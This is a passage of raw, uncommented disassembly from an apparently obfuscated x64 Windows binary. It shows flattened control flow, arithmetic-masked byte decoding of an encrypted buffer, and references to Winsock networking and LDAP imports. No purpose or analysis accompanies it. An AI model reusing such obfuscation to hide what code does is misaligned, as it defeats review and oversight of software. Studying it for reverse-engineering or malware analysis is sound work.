cmp rdi, rax
je 0x140201967
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140201941
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14020191f
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1402018f9
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1402018d7
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140201490
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140201f3f
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140201f1d
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x14020168f
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14020166d
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x14020164b
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14020187a
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140201820
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x1402017d5
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1402017ab
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140201490
lea rdi, [r11 + 0x200]
lea r11, [rdi + 2]
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140201789
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140201775
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140201753
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14020173f
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x14020171d
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x140201709
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1402016e7
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1402016d3
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1402016b1
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140201490
lea rdi, [r11 + 8]
lea r11, [rdi + 0x200]
jmp 0x140201490
movabs rcx, 0xf222b829022d8229
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1f
jmp 0x140201483
movabs rcx, 0x6be399e26eceecf3
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5b
jmp 0x14020141d
movabs rcx, 0xe5a47b9bdb7057bd
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2b
jmp 0x1402013b5
movabs rcx, 0xcb5ef285b08f5b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140201d88
movabs rdx, 0x8676d0e1c7aa6082
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1402019db
movabs rcx, 0x37b29b344bcb4c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x140201df2
movabs rdx, 0x79f89454a0ed3616
mov ecx, 0x33
jmp 0x140201998
movabs rcx, 0xf3b9760e0d8ea0e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140201e45
movabs rdx, 0x6d7a57c77a300baa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140201950
movabs rcx, 0xe73b3980e6d17674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140201e7b
movabs rdx, 0x60fc1b3a5372e13e
mov ecx, Ordinal_41
jmp 0x140201908
movabs rcx, 0xdabcfcf3c0144c08
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x140201f01
movabs rcx, 0xb1f31434fa7d701
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 7
mov byte [rbp + r10 + 0x440], bl
jmp 0x140201f10
movabs rcx, 0x84e012fcbc4941cb
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x73
cmp r11, 0x20
jb 0x1402017c8
movabs rcx, 0xbe93080f5bd7b9c2
add rcx, r10
mov al, cl
and al, r9b
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140201d88
movabs rcx, 0xfea0f4b628eaac95
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x13
cmp rdi, 0x61
jae 0x140201cad
lea rax, [r11 + 6]
cmp rdi, rax
jbe 0x140201bfc
movabs rdx, 0x801bd94d9a25e5a6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1402017f2
movabs rcx, 0x7861d66f958c175f
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x67
lea rax, [r11 + rdi]
cmp rax, 6
je 0x140201cdb
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x140201b21
movabs rcx, 0x7e851b688ec4c6ef
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x77
jmp 0x14020183d
movabs rcx, 0x988735e4446b84a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x140201f01
movabs rdx, 0x83495517b0e82314
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201ead
movabs rcx, 0xfd0a36d11d898dde
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x12
jmp 0x140201e7b
movabs rdx, 0x76cb188a8a2af8a8
mov ecx, 0x34
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201e48
movabs rcx, 0xf08bfa43f6cc6372
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x140201e45
movabs rdx, 0x6a4cdbfd636dce3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140201cd1
movabs rcx, 0xe40dbdb6d00f3906
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x140201df2
movabs rdx, 0x5dce9f703cb0a3d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201dcb
movabs rcx, 0xd78f8129a9520e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x140201d88
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x140201a36
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3d
jmp 0x140201897
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140201a61
movabs rcx, 0x32d7bca16c23d6e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
jmp 0x140201f01
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140201a90
movabs rdx, 0xfabb8573d7f67da
mov ecx, 5
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201e7b
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140201abf
movabs rdx, 0x1c29f4e4643c9246
mov ecx, ntohl
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201e45
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140201aee
movabs rdx, 0x28a831718af9bcb2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201df2
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140201897
movabs rdx, 0x35266dfeb1b6e71e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140201d88
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140201b4c
movabs rcx, 0x4c439af22235c25
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 3
jmp 0x140201d88
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140201b77
movabs rcx, 0x1142763c48e08691
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 9
jmp 0x140201df2
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140201ba2
movabs rcx, 0x97819482dc3f1bc7
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x71
jmp 0x140201e1c
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140201bcd
movabs rcx, 0xa3ffd11002fc4633
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x65
jmp 0x140201e48
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x14020183d
movabs rcx, 0x36bd2be3bd1805d5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2d
jmp 0x140201f01
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140201c27
movabs rcx, 0x65af7942d847adc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140201f01
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140201c44
movabs rdx, 0x12d934215441a548
mov ecx, 4
jmp 0x140201a79
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140201c61
movabs rdx, 0x1f5770ae7afecfb4
mov ecx, 0xa
jmp 0x140201aa8
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140201c8c
movabs rcx, 0xb214cb82351a8f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
jmp 0x140201dcb
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1402017f2
movabs rdx, 0x3853e9c8c879248c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140201b0a
movabs rdx, 0x44d22655ef364ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x440]
add bl, dl
add bl, r9b
jmp 0x140201e1c
movabs rcx, 0xcb11449c8294e42e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x440]
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x140201e7b
movabs rcx, 0x338fb019a655c867
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
jmp 0x140201ead
movabs rcx, 0xa0d25545ec3a08c5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x63
jmp 0x140201e45
movabs rcx, 0x945418b8c57cde59
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
jmp 0x140201df2
movabs rcx, 0x87d5dc2b9ebfb3ed
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7b
movabs rcx, 0x81b29732a587045d
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x75
add cl, r9b
mov byte [rbp + r10 + 0x440], cl
jmp 0x140201dcb
movabs rcx, 0xf5188157e4a3f44b
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xd
mov eax, 1
add r11, rax
jmp 0x140201df7
movabs rcx, 0x6ed9631151455f15
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x6d
mov eax, 1
sub r10, rax
jmp 0x140201f15
movabs rcx, 0xe89a44cabde6c9df
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
movabs rcx, 0x7f1b57938e59993
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 5
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x440], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140201f10
mov r9, r8
movabs rdx, 0x55dce9f703cb0a3d
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
add bl, 0x55
add bl, dl
movabs rdx, 0x8e30d3bfcc442ec9
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x440], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x515062e315f37964
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x440], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140201f01
movabs rcx, 0x495ead69dd0ddfd1
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x49
movzx eax, byte [rbp + r10 + 0x440]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1402013a2
movabs rcx, 0x5f655d554811c287
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x4f
jmp 0x14020139d
movabs rcx, 0xd9263f0eb4b32d51
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x37
jmp 0x14020138d
lea rsi, [rbp + 0x1462464]
jmp 0x140201f7a
lea rsi, [rbp + 0x1356eff]
jmp 0x140201f7a
lea rsi, [rbp + 0x440]
mov byte [rbp + 0x10a0], 5
mov byte [rbp + 0x10a1], 0xc1
mov byte [rbp + 0x10a2], 0x76
mov byte [rbp + 0x10a3], Ordinal_200
mov byte [rbp + 0x10a4], WSAGetLastError
mov byte [rbp + 0x10a5], Ordinal_200
mov byte [rbp + 0x10a6], 0x63
mov byte [rbp + 0x10a7], Ordinal_200
mov byte [rbp + 0x10a8], 0x7a
mov byte [rbp + 0x10a9], 0xc9
mov byte [rbp + 0x10aa], WSAGetLastError
mov byte [rbp + 0x10ab], 0xcb
mov byte [rbp + 0x10ac], Ordinal_46
mov byte [rbp + 0x10ad], Ordinal_211
mov byte [rbp + 0x10ae], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x10af], Ordinal_211
mov byte [rbp + 0x10b0], 0x62
mov byte [rbp + 0x10b1], Ordinal_211
mov byte [rbp + 0x10b2], 0x7d
mov byte [rbp + 0x10b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x10b4], 0x60
mov byte [rbp + 0x10b5], Ordinal_217
mov byte [rbp + 0x10b6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10b7], Ordinal_217
mov byte [rbp + 0x10b8], 0x7b
mov byte [rbp + 0x10b9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x10ba], WSAStartup
mov byte [rbp + 0x10bb], 0xdb
mov byte [rbp + 0x10bc], 0x75
mov byte [rbp + 0x10bd], 0xdd
mov byte [rbp + 0x10be], WSAStartup
mov byte [rbp + 0x10bf], 0xdf
mov byte [rbp + 0x10c0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x10c1], 0xa1
mov byte [rbp + 0x10c2], 0x42
mov byte [rbp + 0x10c3], 0xa3
mov byte [rbp + 0x10c4], Ordinal_79
mov byte [rbp + 0x10c5], 0xa5
mov byte [rbp + 0x10c6], 0x46
mov byte [rbp + 0x10c7], 0xa7
mov byte [rbp + 0x10c8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10c9], 0xa9
mov byte [rbp + 0x10ca], Ordinal_79
mov byte [rbp + 0x10cb], 0xab
mov byte [rbp + 0x10cc], WSAGetLastError
mov byte [rbp + 0x10cd], 0xad
mov byte [rbp + 0x10ce], Ordinal_30
mov byte [rbp + 0x10cf], 0xaf
mov byte [rbp + 0x10d0], 2
mov byte [rbp + 0x10d1], 0xb1
mov byte [rbp + 0x10d2], Ordinal_30
mov byte [rbp + 0x10d3], 0xb3
mov byte [rbp + 0x10d4], 6
mov byte [rbp + 0x10d5], 0xb5
mov byte [rbp + 0x10d6], 0x56
mov byte [rbp + 0x10d7], 0xb7
mov byte [rbp + 0x10d8], 0x7d
mov byte [rbp + 0x10d9], 0xb9
mov byte [rbp + 0x10da], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x10db], 0xbb
mov byte [rbp + 0x10dc], Ordinal_30
mov byte [rbp + 0x10dd], 0xbd
mov eax, 8
mov byte [rbp + 0x10de], al
mov byte [rbp + 0x10df], 0xbf
mov byte [rbp + 0x10e0], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10e1], 0x81
mov byte [rbp + 0x10e2], Ordinal_60
mov byte [rbp + 0x10e3], 0x83
mov byte [rbp + 0x10e4], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x10e5], 0x85
mov byte [rbp + 0x10e6], Ordinal_46
mov byte [rbp + 0x10e7], 0x87
mov byte [rbp + 0x10e8], Ordinal_50
mov byte [rbp + 0x10e9], Ordinal_143
mov byte [rbp + 0x10ea], WSAGetLastError
mov byte [rbp + 0x10eb], Ordinal_143
lea r15d, [rax + 0x38]
mov byte [rbp + 0x10ec], r15b
mov byte [rbp + 0x10ed], Ordinal_143
mov byte [rbp + 0x10ee], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10ef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x10f0], Ordinal_50
mov byte [rbp + 0x10f1], __WSAFDIsSet
mov byte [rbp + 0x10f2], Ordinal_60
mov byte [rbp + 0x10f3], __WSAFDIsSet
mov byte [rbp + 0x10f4], Ordinal_50
mov byte [rbp + 0x10f5], __WSAFDIsSet
mov byte [rbp + 0x10f6], Ordinal_41
mov byte [rbp + 0x10f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x10f8], 0x78
mov byte [rbp + 0x10f9], 0x99
mov byte [rbp + 0x10fa], 0x47
mov byte [rbp + 0x10fb], 0x9b
mov byte [rbp + 0x10fc], 0x9c
mov byte [rbp + 0x10fd], 0x9d
xor eax, eax
mov qword [rbp + 0x10fe], rax
movabs r14, 0x118055364c6acfa0
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x66
jae 0x140202cb6
movzx r9d, byte [rbp + r10 + 0x10a0]
mov r8, r9
cmp rdi, r10
ja 0x140202cad
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140202281
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
jmp 0x1402024dd
je 0x140202c49
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140202bf0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140202b91
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140202b3c
cmp r11, r10
ja 0x140202ca4
lea rax, [r11 + 0x1000]
cmp rdi, rax
jae 0x1402022e6
movabs rdx, 0x6f86fd7444c30820
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14020230d
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140202b19
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140202af5
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140202ae6
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x14020282c
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14020280a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1402027eb
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1402027c7
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1402027b8
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140202796
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x140202777
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140202755
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140202733
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x140202320
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 5]
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x140202c82
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1402024e5
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1402024c3
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x1402024a0
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140202696
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x140202685
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x14020263e
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x140202614
lea rdi, [r11 + 9]
lea r11, [rdi + 0x80]
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1402025f5
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x1402025d1
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1402025af
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x14020258d
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14020256e
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14020254c
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x14020252a
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14020250b
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140202320
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x3e8]
jmp 0x140202320
movabs rdx, 0x80ae447b7dfebbe0
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r8b
jmp 0x140202313
movabs rcx, 0x5dad9a0ee5291ca0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1402022ae
movabs rdx, 0x3aacefa24c537d60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140202253
movabs rcx, 0x7c37eba226184100
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140202b59
movabs rcx, 0x593741358d42a1c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202b81
movabs rcx, 0x363696c8f46d0280
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202b12
movabs rcx, 0xf03541efc2c1c400
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140202bdb
movabs rcx, 0xcd34978329ec24c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202bde
movabs rcx, 0xaa33ed1691168580
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202ab1
movabs rdx, 0x873342a9f840e640
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140202c14
movabs rcx, 0x6432983d5f6b4700
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140202c66
movabs rcx, 0xcb0ee2de15538e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
mov byte [rbp + r10 + 0x10a0], bl
jmp 0x140202c75
movabs rcx, 0xe9b043c1487f99a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
cmp r11, r15
jb 0x140202631
movabs rcx, 0xf921f3a2728eb9c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x80]
jmp 0x140202b59
movabs rdx, 0xc6af9954afa9fa60
mov ecx, Ordinal_50
jmp 0x1402026e4
movabs rdx, 0xa3aeeee816d45b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0xa
je 0x140202a8a
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1402028d6
movabs rdx, 0x2b944df035737920
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r8
jae 0x140202a67
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x140202960
movabs rdx, 0x9b1b4b647a368140
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14020265b
movabs rcx, 0x9d29f0b99c9230c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202c66
movabs rcx, 0x7a29464d03bc9180
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202c14
movabs rdx, 0x57289be06ae6f240
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140202aac
movabs rcx, 0x11274707393bb3c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202bdb
movabs rcx, 0xee269c9aa0661480
jmp 0x1402028be
movabs rdx, 0xcb25f22e07907540
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140202b12
movabs rcx, 0xa82547c16ebad600
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140202b81
movabs rcx, 0x85249d54d5e536c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202b59
lea rax, [r11 + 0x42]
cmp rdi, rax
jae 0x14020284f
lea rdx, [r10 + r14]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x1402026b7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14020287c
movabs rdx, 0xdf0dfae889861040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140202c66
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1402028a7
movabs rcx, 0x250f4fc1bb314ec0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202ab1
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1402026b7
movabs rcx, 0x8e114f0785b22c80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202bb2
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1402028ee
movabs rdx, 0x4e94f85cce491860
jmp 0x140202b23
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140202919
movabs rcx, 0x94964d35fff456e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x140202b12
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140202931
movabs rdx, 0xb796f7a298c9f620
jmp 0x140202b9b
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1402026f6
movabs rcx, 0xfd984c7bca7534a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
